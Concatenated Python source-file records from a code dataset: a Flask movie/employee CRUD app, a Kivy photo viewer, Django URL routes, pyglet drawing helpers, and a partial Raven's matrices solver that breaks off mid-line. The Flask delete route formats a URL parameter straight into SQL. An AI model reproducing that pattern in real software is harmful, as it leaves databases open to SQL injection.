Successfully')\n return redirect(url_for('Peliculas'))\n@app.route('/delete_pelicula/', methods = ['POST', 'GET'])\ndef delete_pelicula(id):\n cur=conexion.cursor()\n cur.execute('DELETE FROM pelicula WHERE id_pelicula = {0}'.format(id))\n conexion.commit()\n flash('Movie Removed Successfully...')\n return redirect(url_for('Peliculas'))\n#FIN TABLA PELICULA\n\n#TABLA EMPLEADO\n@app.route('/Empleado')\ndef Empleados():\n cursor=conexion.cursor()\n query=\"SELECT id_empleado,nombre_empleado ,apellido_empleado, identidad_empleado, nombre_tipo_cargo, jefe, fecha_ingreso, salario FROM empleado INNER JOIN tipo_cargo ON empleado.id_cargo = tipo_cargo.id_tipo_cargo;\"\n cursor.execute(query)\n data=cursor.fetchall()\n cursor.close\n return render_template('Empleado.html', empleados = data)\n@app.route('/add_empleado', methods = ['POST'])\ndef add_Empleado():\n nombre = request.form['nombre_empleado']\n apellido = request.form['apellido_empleado']\n CI=request.form['identidad_empleado']\n cargo=request.form['tipo_cargo']\n jefe=request.form['jefe']\n ingreso=request.form['fecha_ingreso']\n salario=request.form['salario']\n cur = conexion.cursor()\n cur.execute('INSERT INTO empleado (nombre_empleado, apellido_empleado, identidad_empleado, id_cargo, jefe, fecha_ingreso , salario ) VALUES(%s, %s, %s,%s, %s, %s, %s)', (nombre, apellido, CI, cargo, jefe, ingreso, salario))\n conexion.commit()\n flash('employee added successfully...')\n return redirect(url_for(\"Empleados\"))\n@app.route('/edit_empleado/', methods = ['POST', 'GET'])\ndef get_Empleados(id):\n cur=conexion.cursor()\n cur.execute('SELECT * FROM empleado WHERE id_empleado = %s', (id))\n data = cur.fetchall()\n return render_template('edit-empleado.html',empleado=data[0] )\n@app.route('/update_empleado/', methods=['POST'])\ndef update_empleado(id):\n if request.method=='POST':\n nombre_empleado=request.form['nombre_empleado']\n apellido_empleado=request.form['apellido_empleado']\n identidad_empleado=request.form['identidad_empleado']\n tipo_cargo=request.form['tipo_cargo']\n jefe=request.form['jefe']\n fecha_ingreso=request.form['fecha_ingreso']\n salario=request.form['salario']\n cur=conexion.cursor()\n cur.execute(\"\"\"\n UPDATE empleado\n SET nombre_empleado=%s,\n apellido_empleado=%s,\n identidad_empleado=%s,\n id_cargo=%s,\n jefe=%s,\n fecha_ingreso=%s,\n salario=%s\n WHERE id_pelicula = %s\n \"\"\", (nombre_empleado, apellido_empleado, identidad_empleado,tipo_cargo,jefe,fecha_ingreso,salario, id))\n conexion.commit()\n flash('Employee Updated Successfully')\n return redirect(url_for('Empleados'))\n\nif __name__ == '__main__':\n app.run(port=3000, debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"424733506","text":"from kivy.graphics.transformation import Matrix\nfrom kivy.properties import ListProperty, BooleanProperty, NumericProperty, StringProperty, ObjectProperty\nfrom kivy.uix.boxlayout import BoxLayout\n\nfrom screenAlbum.customImage import CustomImage\nfrom screenAlbum.RotationGrid import RotationGrid\nfrom screenAlbum.CropOverlay import CropOverlay\nfrom screenAlbum.ExitFullScreenButton import ExitFullscreenButton\nfrom generalElements.photos.StencilViewTouch import StencilViewTouch\nfrom generalElements.views.LimitedScatterLayout import LimitedScatterLayout\nfrom screenAlbum.PhotoShow import PhotoShow\nfrom generalElements.images.AsyncThumbnail import AsyncThumbnail\nfrom generalElements.labels.ShortLabel import ShortLabel\n\nfrom kivy.lang.builder import Builder\n\nBuilder.load_string(\"\"\"\n:\n orientation: 'vertical'\n StencilViewTouch:\n size_hint_y: 1\n canvas.after:\n Color:\n rgba: app.theme.favorite if root.favorite else [0, 0, 0, 0]\n Rectangle:\n source: 'data/star.png'\n pos: self.width - (self.width*.03), 0\n size: (self.width*.03, self.width*.03)\n id: photoStencil\n LimitedScatterLayout:\n bypass: root.bypass\n id: wrapper\n size: photoStencil.size\n size_hint: None, None\n scale_min: 1\n scale_max: root.scale_max\n do_rotation: False\n PhotoShow:\n bypass: root.bypass\n id: photoShow\n pos: photoStencil.pos\n size_hint: 1, 1\n AsyncThumbnail:\n canvas.before:\n PushMatrix\n Scale:\n x: 1 if root.angle == 0 or self.width == 0 else ((self.height/self.width) if (self.height/self.width) > .75 else .75)\n y: 1 if root.angle == 0 or self.width == 0 else ((self.height/self.width) if (self.height/self.width) > .75 else .75)\n origin: photoStencil.center\n canvas.after:\n PopMatrix\n photoinfo: root.photoinfo\n photo_id: root.photo_id\n loadanyway: True\n loadfullsize: True\n source: root.file\n mirror: root.mirror\n allow_stretch: True\n id: image\n mipmap: True\n BoxLayout:\n opacity: 0 if root.fullscreen or app.simple_interface or root.edit_mode != 'main' else 1\n disabled: True if root.fullscreen or (root.edit_mode != 'main') or app.simple_interface else False\n orientation: 'horizontal'\n size_hint_y: None\n height: 0 if root.fullscreen or app.simple_interface or root.edit_mode != 'main' else app.button_scale\n Label:\n size_hint_x: .25\n ShortLabel:\n size_hint_y: None\n height: app.button_scale\n text: \"Zoom:\"\n NormalSlider:\n size_hint_y: None\n height: app.button_scale\n id: zoomSlider\n min: 0\n max: 1\n value: root.zoom\n on_value: root.zoom = self.value\n Label:\n size_hint_x: .25\n\"\"\")\n\nclass PhotoViewer(BoxLayout):\n \"\"\"Holds the fullsized photo image in album view mode.\"\"\"\n\n photoinfo = ListProperty([0, 0])\n favorite = BooleanProperty(False)\n angle = NumericProperty(0)\n mirror = BooleanProperty(False)\n file = StringProperty()\n scale_max = NumericProperty(1)\n edit_mode = StringProperty('main')\n edit_image = ObjectProperty()\n overlay = ObjectProperty(allownone=True)\n bypass = BooleanProperty(False)\n zoom = NumericProperty(0)\n zoompos = ListProperty([0, 0])\n fullscreen = BooleanProperty(False)\n _fullscreen_state = None\n exit_button = ObjectProperty()\n photo_id = 999\n\n def on_height(self, *_):\n self.reset_zoompos()\n\n def reset_zoompos(self):\n self.zoompos = [self.width / 2, self.height / 2]\n\n def on_zoom(self, *_):\n if self.zoom == 0:\n self.reset_zoompos()\n scale_max = self.scale_max\n scale_size = 1 + ((scale_max - 1) * self.zoom)\n scale = Matrix().scale(scale_size, scale_size, scale_size)\n #wrapper = LimitedScatterLayout()\n wrapper = self.ids['wrapper']\n wrapper.transform = Matrix()\n zoompos = self.zoompos\n wrapper.apply_transform(scale, anchor=zoompos)\n\n def on_touch_down(self, touch):\n if self.collide_point(*touch.pos):\n if self.edit_mode != 'main' and not self.overlay:\n self.edit_image.opacity = 0\n image = self.ids['image']\n image.opacity = 1\n return True\n else:\n return super(PhotoViewer, self).on_touch_down(touch)\n\n def on_touch_up(self, touch):\n if self.collide_point(*touch.pos):\n if self.edit_mode != 'main' and not self.overlay:\n self.edit_image.opacity = 1\n image = self.ids['image']\n image.opacity = 0\n return True\n else:\n return super(PhotoViewer, self).on_touch_up(touch)\n\n def refresh(self):\n \"\"\"Updates the image subwidget's source file.\"\"\"\n\n image = self.ids['image']\n image.source = self.file\n\n def on_edit_mode(self, *_):\n \"\"\"Called when the user enters or exits edit mode.\n Adds the edit image widget, and overlay if need be, and sets them up.\"\"\"\n\n image = self.ids['image']\n if self.edit_mode == 'main':\n image.opacity = 1\n viewer = self.ids['photoShow']\n if self.edit_image:\n viewer.remove_widget(self.edit_image)\n if self.overlay:\n viewer.remove_widget(self.overlay)\n self.overlay = None\n else:\n image.opacity = 0\n viewer = self.ids['photoShow']\n self.edit_image = CustomImage(source=self.file, mirror=self.mirror, angle=self.angle, photoinfo=self.photoinfo)\n viewer.add_widget(self.edit_image)\n if self.edit_mode == 'rotate':\n #add rotation grid overlay\n self.overlay = RotationGrid()\n viewer.add_widget(self.overlay)\n if self.edit_mode == 'crop':\n #add cropper overlay and set image to crop mode\n self.overlay = CropOverlay(owner=self.edit_image)\n viewer.add_widget(self.overlay)\n self.edit_image.cropping = True\n self.edit_image.cropper = self.overlay\n\n def stop(self):\n self.fullscreen = False\n #if self.edit_image:\n # self.edit_image.close_image()\n\n def close(self):\n pass\n\n def on_fullscreen(self, instance, value):\n window = self.get_parent_window()\n if value:\n self._fullscreen_state = state = {\n 'parent': self.parent,\n 'pos': self.pos,\n 'size': self.size,\n 'pos_hint': self.pos_hint,\n 'size_hint': self.size_hint,\n 'window_children': window.children[:]}\n\n #remove all window children\n for child in window.children[:]:\n window.remove_widget(child)\n\n #put the video in fullscreen\n if state['parent'] is not window:\n state['parent'].remove_widget(self)\n window.add_widget(self)\n\n #ensure the widget is in 0, 0, and the size will be readjusted\n self.pos = (0, 0)\n self.size = (100, 100)\n self.pos_hint = {}\n self.size_hint = (1, 1)\n self.exit_button = ExitFullscreenButton(owner=self)\n window.add_widget(self.exit_button)\n\n else:\n state = self._fullscreen_state\n window.remove_widget(self)\n window.remove_widget(self.exit_button)\n for child in state['window_children']:\n window.add_widget(child)\n self.pos_hint = state['pos_hint']\n self.size_hint = state['size_hint']\n self.pos = state['pos']\n self.size = state['size']\n if state['parent'] is not window:\n state['parent'].add_widget(self)","sub_path":"screenAlbum/PhotoViewer.py","file_name":"PhotoViewer.py","file_ext":"py","file_size_in_byte":8422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"586726493","text":"\"\"\"smedaily URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom smedaily.common import views as common_views\nfrom smedaily.dart import views as dart_views\nfrom smedaily.stocks import views as stock_views\nfrom smedaily.article import views as article_views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.conf.urls import url\nfrom django.views.static import serve\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('summernote/', include('django_summernote.urls')),\n\n path('', common_views.index, name='index'),\n path('login', common_views.user_login, name='login'),\n path('logout', common_views.user_logout, name='logout'),\n\n path('home', common_views.home, name='home'),\n\n path('dart', dart_views.home, name='dart_home'),\n path('dart/', dart_views.dart_page, name='dart_page'),\n path('dart/search_company', dart_views.search_company, name='search_company'),\n\n path('stock', stock_views.home, name='stock_home'),\n path('stock/search/', stock_views.search, name='stock_search'),\n path('stock/detail/', stock_views.detail, name='stock_detail'),\n\n path('report', stock_views.get_report_no_page, name='get_report_no_page'),\n path('report/', stock_views.get_report, name='get_report'),\n\n path('article', article_views.home, name='article_home'),\n path('article/', article_views.article_page, name='article_page'),\n path('article/view/', article_views.article_view, name='article_view'),\n path('article/write', article_views.article_write, name='article_write'),\n\n path('api/test1', stock_views.api_test, name='apistest'),\n]\n\n# urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT, insecure=True)\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","sub_path":"smedaily/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"546663780","text":"import pyglet\nfrom math import *\nfrom pyglet.gl import *\n\ndef draw_ray(robot, angle, color, length=10000, width=6):\n c = cos(robot.body.angle + angle)\n s = sin(robot.body.angle + angle)\n x1 = int(robot.body.position.x)\n y1 = int(robot.body.position.y)\n x2 = int(robot.body.position.x + length * c)\n y2 = int(robot.body.position.y + length * s)\n\n pyglet.gl.glLineWidth(width)\n pyglet.graphics.draw(2, pyglet.gl.GL_LINES, ('v2f', (x1, y1, x2, y2)),\n ('c3B', color+color))\n pyglet.gl.glLineWidth(1)\n\ndef draw_segment_wrt_robot(robot, a, b, color=(255,255,255), width=3):\n \"\"\" Given points a and b, draw a line segment between them. These two points are specified in the robot's reference frame. \"\"\"\n\n (x1, y1) = robot.body.local_to_world(a)\n (x2, y2) = robot.body.local_to_world(b)\n \n pyglet.gl.glLineWidth(width)\n pyglet.graphics.draw(2, pyglet.gl.GL_LINES, ('v2f', (x1, y1, x2, y2)),\n ('c3B', color+color))\n pyglet.gl.glLineWidth(1)\n\n\ndef draw_circle(xxx_todo_changeme, radius, color):\n # Arbitrarily set for now\n (cx, cy) = xxx_todo_changeme\n numPoints = 50\n\n glColor3f(color[0], color[1], color[2])\n\n verts = []\n for i in range(numPoints):\n angle = radians(float(i)/numPoints * 360.0)\n x = cx + radius*cos(angle)\n y = cy + radius*sin(angle)\n verts += [x,y]\n circle = pyglet.graphics.vertex_list(numPoints, ('v2f', verts))\n circle.draw(GL_LINE_LOOP)\n","sub_path":"common/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"99426731","text":"# Your Agent for solving Raven's Progressive Matrices. You MUST modify this file.\r\n#\r\n# You may also create and submit new files in addition to modifying this file.\r\n#\r\n# Make sure your file retains methods with the signatures:\r\n# def __init__(self)\r\n# def Solve(self,problem)\r\n#\r\n# These methods will be necessary for the project's main method to run.\r\n\r\n# Install Pillow and uncomment this line to access image processing.\r\nfrom PIL import Image\r\nimport numpy\r\nfrom RavensObject import RavensObject\r\n\r\n\r\nclass Agent:\r\n # The default constructor for your Agent. Make sure to execute any\r\n # processing necessary before your Agent starts solving problems here.\r\n #\r\n # Do not add any variables to this signature; they will not be used by\r\n # main().\r\n def __init__(self):\r\n pass\r\n\r\n #add missing attributes to be able to compare (mostly for VERBAL)\r\n def populateAttributes(self, box):\r\n \r\n for shape in box:\r\n try:\r\n\r\n #reset\r\n if 'angle' not in box[shape].attributes:\r\n box[shape].attributes['angle'] = 0\r\n if 'alignment' not in box[shape].attributes:\r\n box[shape].attributes['alignment'] = ''\r\n if 'inside' not in box[shape].attributes:\r\n box[shape].attributes['inside'] = 0\r\n if 'above' not in box[shape].attributes:\r\n box[shape].attributes['above'] = 0\r\n if 'overlaps' in box[shape].attributes:\r\n box[shape].pop('overlaps')\r\n\r\n #split up and count ('m,d,g' becomes 3)\r\n if 'above' in box[shape].attributes and isinstance(box[shape].attributes.get('above'), str):\r\n box[shape].attributes['above'] = len( box[shape].attributes.get('above').split(',') )\r\n if 'inside' in box[shape].attributes and isinstance(box[shape].attributes.get('inside'), str):\r\n box[shape].attributes['inside'] = len( box[shape].attributes.get('inside').split(',') )\r\n\r\n #change type\r\n if 'angle' in box[shape].attributes and isinstance(box[shape].attributes.get('angle'), str):\r\n box[shape].attributes['angle'] = int(box[shape].attributes.get('angle'))\r\n except:\r\n\r\n #reset\r\n if 'angle' not in box[shape]:\r\n box[shape]['angle'] = 0\r\n if 'alignment' not in box[shape]:\r\n box[shape]['alignment'] = ''\r\n if 'inside' not in box[shape]:\r\n box[shape]['inside'] = 0\r\n if 'above' not in box[shape]:\r\n box[shape]['above'] = 0\r\n if 'overlaps' in box[shape]:\r\n box[shape].pop('overlaps')\r\n\r\n #split up and count (\"a,b,c\" becomes 3)\r\n if 'above' in box[shape] and isinstance(box[shape].get('above'), str):\r\n box[shape]['above'] = len ( box[shape].get('above').split(','))\r\n if 'inside' in box[shape] and isinstance(box[shape].get('inside'), str):\r\n box[shape]['inside'] = len ( box[shape].get('inside').split(','))\r\n \r\n #change type\r\n if 'angle' in box[shape] and isinstance(box[shape].get('angle'), str):\r\n box[shape]['angle'] = int( box[shape].get('angle'))\r\n\r\n return box\r\n \r\n\r\n # we must be careful in pronunciation \r\n # returns an integer counting how many pairs in the dict remain the same \r\n def compareDicts(self, d1, d2):\r\n return len([k for k in d1.keys() if d1.get(k) == d2.get(k)])\r\n\r\n #get key, given dict value - not very optimal, but useful\r\n def getKey(self, d, val):\r\n for k, v in d.items():\r\n if v == val:\r\n return k\r\n\r\n # helper function for matchShapes\r\n # runs matchShapes logic again, but only on shapes that have not been used yet\r\n # Used to recalculate when a more relevant matching shape is found (between figure 1 and 2, for example)\r\n def reevaluateMatch(self, used, allshapes, currentShape, box1, box2):\r\n notUsed = list(set(allshapes) - set(used))\r\n\r\n similar = []\r\n for shape2 in notUsed:\r\n try:\r\n relevancy = self.compareDicts(\r\n box1[currentShape].attributes, \r\n box2[shape2].attributes\r\n ) \r\n except:\r\n relevancy = self.compareDicts(\r\n box1[currentShape],\r\n box2[shape2]\r\n )\r\n similar.append(relevancy)\r\n\r\n\r\n if similar != []:\r\n i = similar.index(max(similar)) #index of most relevant candidate shape\r\n else:\r\n return None\r\n\r\n return allshapes[i]\r\n \r\n def preTransformCheck(self, box1, box3):\r\n # If onethree is true, check if boxes one and three are identical. If they are, then\r\n # answer for b4 is same as b2\r\n box1 = self.populateAttributes(box1)\r\n box3 = self.populateAttributes(box3)\r\n\r\n attributes1 = []\r\n attributes3 = []\r\n\r\n for shape in box1.values():\r\n\r\n #split 'inside', since we skipped the transformation\r\n if shape.attributes['inside'] == '':\r\n shape.attributes['inside'] = 0\r\n elif not isinstance( shape.attributes['inside'], int):\r\n shape.attributes['inside'] = len( shape.attributes.get('inside').split(',') )\r\n attributes1.append(shape.attributes)\r\n \r\n for shape in box3.values():\r\n\r\n #split 'inside', since we skipped the transformation\r\n if shape.attributes['inside'] == '':\r\n shape.attributes['inside'] = 0\r\n elif not isinstance( shape.attributes['inside'], int):\r\n shape.attributes['inside'] = len( shape.attributes.get('inside').split(',') )\r\n attributes3.append(shape.attributes)\r\n\r\n if attributes1 == attributes3:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n #used to figure out which shape from box1 to box2 is most likely corresponding\r\n #returns dict of mappings: {'a':'c'}\r\n # onethree is used for cases when b1 and b3 are identical, then we can argue that\r\n # 2 and 4 will be identical and skip the process\r\n def matchShapes(self, box1, box2):\r\n \r\n # matching shapes stored as pairs\r\n # this is possibly modified after comparing new shapes, as more relevant ones could be found\r\n # this is returned \r\n matches = dict() \r\n\r\n # keeps track of shapes already used.\r\n # If a used shape is found to be the most relevant, check its relevancy score\r\n # Relevance: 0 - 7 (7 being identical to pretransformation shape)\r\n # { 'b': 7 }\r\n used = dict()\r\n\r\n # convert to list so we can track the shape at certain index\r\n if isinstance(box2, dict):\r\n box2list = list(box2) \r\n else:\r\n box2list = box2\r\n\r\n box1 = self.populateAttributes(box1)\r\n box2 = self.populateAttributes(box2)\r\n\r\n for shape1 in box1:\r\n similarities = []\r\n\r\n for shape2 in box2list:\r\n\r\n try:\r\n relevancy = self.compareDicts(\r\n box1[shape1].attributes, \r\n box2[shape2].attributes\r\n )\r\n except:\r\n relevancy = self.compareDicts(\r\n box1[shape1], \r\n box2[shape2]\r\n ) \r\n \r\n \r\n \r\n\r\n similarities.append( relevancy )\r\n\r\n #get the most similar shape of the ones we saw\r\n r = max(similarities) #relevancy\r\n i = similarities.index(max(similarities)) #index of most relevant candidate shape\r\n candidate = box2list[i] \r\n\r\n \r\n if candidate in used.keys():\r\n if used.get(candidate) < r: # if new relevancy is higher, replace and go with new one\r\n \r\n #update used dict\r\n used[candidate] = r\r\n\r\n #update previous keys in matches\r\n k = self.getKey(matches, candidate)\r\n \r\n temp = self.reevaluateMatch(list(used), box2list, shape1, box1, box2)\r\n if temp != None:\r\n matches[k] = temp\r\n else:\r\n del matches[k]\r\n #set current matches key to new shape\r\n matches[shape1] = candidate\r\n\r\n \r\n \r\n #new shape, match it up!\r\n else:\r\n # example: { 'b': 6, 'd': 4}\r\n used[candidate] = r\r\n matches[shape1] = candidate\r\n \r\n \r\n # at the very end, check for any box1 shapes that didn't get matched up.\r\n # these were deleted - we need to mark them as such\r\n deleted = []\r\n for shape in box1:\r\n if shape not in matches.keys():\r\n deleted.append(shape)\r\n\r\n return matches, deleted\r\n \r\n\r\n def sizeToString(self, a):\r\n if a == 1:\r\n return 'very small'\r\n elif a == 2:\r\n return 'small'\r\n elif a == 3:\r\n return 'medium'\r\n elif a == 4:\r\n return 'large'\r\n elif a == 5:\r\n return 'very large'\r\n elif a == 6:\r\n return 'huge'\r\n else:\r\n return a\r\n\r\n\r\n\r\n # get shapes (they are matched now), \r\n # compare attribute changes between figure 1 and figure 2\r\n # return transformation dictionary, (box1 shape : attributes dict)\r\n '''\r\n possible (existing verbal) attributes:\r\n\r\n angle - [0,360)\r\n inside - a, b, c, etc.\r\n shape - \"something\"\r\n above - a, b, c, etc.\r\n size - huge, very large, large, medium, small\r\n alignment - \"bottom-right\"\r\n fill - y/n and bottom, top, left, right\r\n \r\n '''\r\n def getTransformations(self, box1, box2, matches, deleted):\r\n allTransforms = dict()\r\n \r\n for shape1, shape2 in matches.items():\r\n transformations = dict()\r\n a1 = box1[shape1].attributes\r\n a2 = box2[shape2].attributes\r\n\r\n #add all the deleted shapes\r\n for each in deleted:\r\n allTransforms[each] = 'deleted'\r\n\r\n\r\n #if EXACTLY the same, set nochange string for this match - no transformation\r\n if self.compareDicts(a1, a2) == len(a1): \r\n allTransforms[shape1] = 'nochange'\r\n continue #not break LOL\r\n\r\n #angle - no change is 0\r\n if a1['angle'] == '': a1['angle'] = 0\r\n if a2['angle'] == '': a2['angle'] = 0\r\n\r\n if a2['angle'] and a1['angle']:\r\n transformations['angle'] = int( a2['angle'] ) - int( a1['angle'] )\r\n else:\r\n transformations['angle'] = 0\r\n\r\n #shape\r\n if a1['shape'] != a2['shape']:\r\n transformations['shape'] = [ a1['shape'], a2['shape'] ]\r\n else:\r\n transformations['shape'] = ''\r\n\r\n #above\r\n if a1['above'] != a2['above']:\r\n a1aboveCount = len( (a1['above']).split(',') )\r\n a2aboveCount = len( (a2['above']).split(',') )\r\n\r\n transformations['above'] = a2aboveCount - a1aboveCount\r\n else:\r\n transformations['above'] = 0\r\n\r\n #fill\r\n if a1['fill'] == 'no' and a2['fill'] == 'yes':\r\n transformations['fill'] = 'shadein'\r\n elif a1['fill'] == 'yes' and a2['fill'] == 'no':\r\n transformations['fill'] = 'deleteshade'\r\n elif (a1['fill'] == 'right-half' and a2['fill'] == 'left-half') or (a1['fill'] == 'left-half' and a2['fill'] == 'right-half'):\r\n transformations['fill'] = 'left-right'\r\n elif (a1['fill'] == 'top-half' and a2['fill'] == 'bottom-half') or (a1['fill'] == 'bottom-half' and a2['fill'] == 'top-half'):\r\n transformations['fill'] = 'top-down'\r\n else:\r\n transformations['fill'] = ''\r\n\r\n #alignment - TODO use centers of shape to track movement. For now will only be verbal\r\n if a1['alignment'] != a2['alignment']:\r\n transformations['alignment'] = [ a1['alignment'], a2['alignment'] ]\r\n else:\r\n transformations['alignment'] = ''\r\n\r\n #size - very small, small, medium, large, very large, huge\r\n sizes = {'very small':1, 'small':2, 'medium':3, 'large':4, 'very large':5, 'huge':6 }\r\n a1size = a1['size']\r\n a2size = a2['size']\r\n\r\n a1size = self.sizeToString(a1size)\r\n a2size = self.sizeToString(a2size)\r\n\r\n if a1size != a2size: #shrinking and growing\r\n \r\n transformations['size'] = (sizes[a2size] - sizes[a1size])\r\n else:\r\n transformations['size'] = 0\r\n\r\n #inside - count how many it's inside of\r\n if a1['inside'] != a2['inside']:\r\n a1aboveCount = len( (a1['inside']).split(',') )\r\n a2aboveCount = len( (a2['inside']).split(',') )\r\n\r\n transformations['inside'] = a2aboveCount - a1aboveCount\r\n else:\r\n transformations['inside'] = 0\r\n\r\n if transformations['angle'] == 0 and transformations['inside'] == 0 and transformations['shape'] == '' and transformations['above'] == 0 and transformations['size'] == 0 and transformations['alignment'] == '' and transformations['fill'] == '':\r\n transformations = \"nochange\"\r\n\r\n allTransforms[shape1] = transformations\r\n \r\n return allTransforms\r\n\r\n\r\n\r\n # Convert shape, inside, and above to numbers\r\n # helper for modifyAttributes()\r\n def checkConvert(self, attribute, aType):\r\n if not isinstance(attribute, int):\r\n if aType is 'size':\r\n if attribute == 'very small': attribute = 1\r\n elif attribute == 'small': attribute = 2\r\n elif attribute == 'medium': attribute = 3\r\n elif attribute == 'large': attribute = 4\r\n elif attribute == 'very large': attribute = 5\r\n elif attribute == 'huge': attribute = 6\r\n return attribute\r\n elif aType is 'inside' or aType is 'above':\r\n return len(attribute.split(','))\r\n else:\r\n return attribute\r\n\r\n # convert shape number to shape string\r\n # helper for modifyattributes()\r\n def convert_sizenum_to_sizestring(self, num):\r\n if num is 1:\r\n return 'very small'\r\n if num is 2:\r\n return 'small'\r\n if num is 3:\r\n return 'medium'\r\n if num is 4:\r\n return 'large'\r\n if num is 5:\r\n return 'very large'\r\n if num is 6:\r\n return 'huge'\r\n\r\n # helper for transformBox()\r\n def modifyAttributes(self, trans, shapeAtts, shape, deleted, box1, box2, box3):\r\n box1 = [v.attributes for k,v in box1.items()]\r\n box2 = [v.attributes for k,v in box2.items()]\r\n box3 = [v.attributes for k,v in box3.items()]\r\n\r\n newshape = {'inside': 0, 'above': 0, 'shape': '', 'fill': '', 'angle': 0, 'size': '', 'alignment': ''}\r\n \r\n if trans == 'nochange':\r\n return shapeAtts\r\n elif trans == 'deleted':\r\n return 'deleted'\r\n else:\r\n \r\n #special case\r\n corners = [45, 135, 225, 315]\r\n if int(box1[0].get('angle')) in corners:\r\n corners.remove(int(box1[0].get('angle')))\r\n if int(box2[0].get('angle')) in corners:\r\n corners.remove(int(box2[0].get('angle')))\r\n if int(box3[0].get('angle')) in corners:\r\n corners.remove(int(box3[0].get('angle')))\r\n if len(corners) == 1:\r\n newshape['angle'] = corners[0]\r\n elif trans.get('angle') == '':\r\n newshape['angle'] = shapeAtts.get('angle')\r\n \r\n '''\r\n newshape['angle'] = (int(shapeAtts['angle']) - int(trans['angle']))\r\n if newshape.get('angle') > 360:\r\n newshape['angle'] = newshape.get('angle') % 360\r\n if newshape.get('angle') < 360:\r\n newshape['angle'] = (newshape.get('angle') + 360) % 360\r\n if newshape.get('angle') == 360:\r\n newshape['angle'] = 0\r\n # TODO - try rotating both ways\r\n '''\r\n\r\n if trans.get('shape') == '' or trans.get('shape') == None:\r\n newshape['shape'] = shapeAtts.get('shape')\r\n else: \r\n if shapeAtts.get('shape') == trans.get('shape')[0]:\r\n newshape['shape'] = trans.get('shape')[1] \r\n \r\n shapeAtts['above'] = self.checkConvert(shapeAtts['above'], 'above')\r\n trans['above'] = self.checkConvert(trans['above'], 'above')\r\n newshape['above'] = int(shapeAtts['above']) + int(trans['above'])\r\n \r\n shapeAtts['inside'] = self.checkConvert(shapeAtts['inside'], 'inside')\r\n trans['inside'] = self.checkConvert(trans['inside'], 'inside')\r\n newshape['inside'] = int(shapeAtts['inside']) + int(trans['inside'])\r\n\r\n shapeAtts['size'] = self.checkConvert(shapeAtts['size'], 'size')\r\n trans['size'] = self.checkConvert(trans['size'], 'size')\r\n newshape['size'] = int(shapeAtts['size']) + int(trans['size'])\r\n newshape['size'] = self.convert_sizenum_to_sizestring( newshape.get('size') )\r\n\r\n if trans.get('alignment') == '' or trans.get('alignment') == None:\r\n newshape['alignment'] = shapeAtts.get('alignment')\r\n else:\r\n if shapeAtts.get('alignment') == trans.get('shape')[0]:\r\n newshape['alignment'] = trans.get('alignment')[1]\r\n\r\n elif trans.get('alignment')[0] == 'bottom-right' and trans.get('alignment')[1] == 'bottom-left' and shapeAtts.get('alignment') == 'bottom-left':\r\n newshape['alignment'] = 'bottom-right'\r\n elif trans.get('alignment')[0] == 'bottom-left' and trans.get('alignment')[1] == 'bottom-right' and shapeAtts.get('alignment') == 'bottom-right':\r\n newshape['alignment'] = 'bottom-left'\r\n\r\n elif trans.get('alignment')[0] == 'top-left' and trans.get('alignment')[1] == 'top-right' and shapeAtts.get('alignment') == 'top-right':\r\n newshape['alignment'] = 'top-left'\r\n elif trans.get('alignment')[0] == 'top-right' and trans.get('alignment')[1] == 'top-left' and shapeAtts.get('alignment') == 'top-left':\r\n newshape['alignment'] = 'top-right'\r\n\r\n elif trans.get('alignment')[0] == 'bottom-right' and trans.get('alignment')[1] == 'bottom-left' and shapeAtts.get('alignment') == 'top-right':\r\n newshape['alignment'] = 'top-left'\r\n elif trans.get('alignment')[0] == 'bottom-left' and trans.get('alignment')[1] == 'bottom-right' and shapeAtts.get('alignment') == 'top-left':\r\n newshape['alignment'] = 'top-right'\r\n\r\n elif trans.get('alignment')[0] == 'top-left' and trans.get('alignment')[1] == 'top-right' and shapeAtts.get('alignment') == 'bottom-left':\r\n newshape['alignment'] = 'bottom-right'\r\n elif trans.get('alignment')[0] == 'top-right' and trans.get('alignment')[1] == 'top-left' and shapeAtts.get('alignment') == 'bottom-right':\r\n newshape['alignment'] = 'bottom-left'\r\n\r\n \r\n \r\n\r\n #fill\r\n if trans['fill'] == 'shadein':\r\n newshape['fill'] = 'yes'\r\n elif trans['fill'] == 'deleteshade':\r\n newshape['fill'] = 'no'\r\n elif trans['fill'] == 'left-right' and shapeAtts['fill'] == 'left-half':\r\n newshape['fill'] = 'right-half'\r\n elif trans['fill'] == 'left-right' and shapeAtts['fill'] == 'right-half':\r\n newshape['fill'] = 'left-half'\r\n elif trans['fill'] == 'top-down' and shapeAtts['fill'] == 'top-half':\r\n newshape['fill'] = 'bottom-half'\r\n elif trans['fill'] == 'top-down' and shapeAtts['fill'] == 'bottom-half':\r\n newshape['fill'] = 'top-half'\r\n elif trans['fill'] == '' or trans['fill'] == None:\r\n newshape['fill'] = shapeAtts['fill']\r\n \r\n return newshape\r\n\r\n # apply transformation attributes to box 3, to get box4\r\n # mapping is 3 -> 1, key is shapes from box3, val is shape from box1\r\n def transformBox(self, box, mapping, transformations, deleted, created, box1, box2, box3):\r\n attributes = []\r\n keys = 